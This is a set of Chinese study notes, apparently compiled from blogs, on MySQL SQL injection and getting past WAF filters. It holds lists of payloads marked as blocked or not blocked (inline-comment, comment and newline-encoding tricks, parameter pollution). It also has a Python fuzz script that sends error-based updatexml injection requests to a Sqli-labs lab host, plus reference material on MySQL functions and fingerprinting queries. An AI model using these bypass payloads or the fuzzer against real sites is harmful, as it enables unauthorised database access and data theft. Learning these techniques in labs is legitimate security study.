• 扫大佬blog

    • 春告鳥

    • SQL注入及bypass思路(3)

      • 探索and

        • ?id=1 and ord("a")-96
          ?id=1 and ord("a")-97
          
      • 探索 union select

        • 内联注释绕过

          • union    不拦截
            select   不拦截
            union select 拦截
            union 各种字符 select 拦截
            union%20%a0select 拦截
            union/*select*/ 不拦截
            
          • /*!/*!*/
            
            # 不拦截
            /*!union/*/*/*%00select*/%201,2,3--+
            
        • 注释绕过

          • union %23%0aselect 拦截
            union %23select 拦截
            union a%23 select 拦截
            union all%23 select 拦截
            union all%23%0a select 拦截
            union %23%0aall select 拦截
            
            # 不拦截
            union%20%23%0aall%20/!*select*/
            
        • – 注释绕过

          • union all -- %0a select 拦截
            union  -- ()%0a select 拦截
            union  -- 1%0a select 拦截
            union  -- hex()%0a select 拦截
            
            union%20%20--%20/*#*/%0aord()%0a%20select
            
        • hpp

          • ?id=-1' /*&id='union select 1,user(),3 -- +*/
            
      • 注入

        • user

          • /*!USER*/(/*/**/)
            
        • 库名

      • fuzz script

        • import requests
          import urllib
          
          for i in range(0,177):
              url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
              req = requests.get(url)
              if "F6F7" in req.text:
                  print len(req.text),i,urllib.quote(chr(i))
          
    • SQL注入及bypass思路(1)

      • mysql相关函数

        • length(): 返回字符串str的长度

        • substr(str,pos,len):将str从pos位置开始截取len长度的字符进行返回。注意这里的pos位置是从1开始的

          不是数组的0开始

        • mid(str, pos,len):跟上面的一样,截取字符串

        • asci(str):返回字符串str的最左面字符的ASC代码值

        • ord(str):将字符或布尔类型转成asc码

        • if(a,b,c):a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0

      • 常用到的特殊符号有:

        ''
        ""
        ()
        {}
        \
        \\
        ``
        %
        
      • mysql中的注释符号

        • #
          /**/ /*/**/ 这样是等效于 /**/
          -- + 用这个符号注意是--空格任意字符
          ;%00
          `
          /*!*/ 内列注释为什么放在这里呢,因为它也可以当作一个空格 /*!/*!*/是等效于/*!*/的
          
      • 操作符与逻辑操作符

        • :=
          ||,OR,XOR
          &&,AND
          NOT
          BETWEEN,CASE,WHEN,THEN,ELSE
          =,<=>,>=,><=,<,<>,!=,IS,LIKE,REGEXP,IN
          |
          &
          <<,>>
          -,+
          *, /, DIV, %, MOD
          ^
          - (一元减号), ~ (一元比特反转)
          !
          BINARY, COLLATE
          
      • 注入的类型

        • select * from user where id=$id;//数字型注入
          select * from user where id='$id';//字符型注入
          select * from user where id="$id";
          select * from user where id = ($id);
          select * from user where id = ('$id');
          select * from user where id = ("$id");
          select * from user where username  like '%adm%';
          select * from user where username  like ('%adm%');
          select * from user where id = $id limit 0,1;
          select * from user order by $id;
          select * from user order by limit 0,1 $id;
          select * from user order by id limit 1,1 $id;
          insert注入
          update注入
          delete注入
          二次注入 
          等等
          
      • 版本收集与路径

        • version()
          select * from user where id=1 union select 1,version(),3;
          
          @@version
          select * from user where id=1 union select 1,@@version,3;
          
          /*!版本号*/  xxx版本之上执行
          select * from user where id=1 union select 1,/*!50000 user()*/,3;
          
      • 路径

        • @@datadir
          
      • 操作系统

        • @@version_compile_os
          
      • 用户与链接信息

        • system_user() //系统用户名
          
          user() //用户名
          
          current_user()//当前用户名
          
          session_user()//链接数据库的用户名
          
    • SQL注入及bypass思路(2)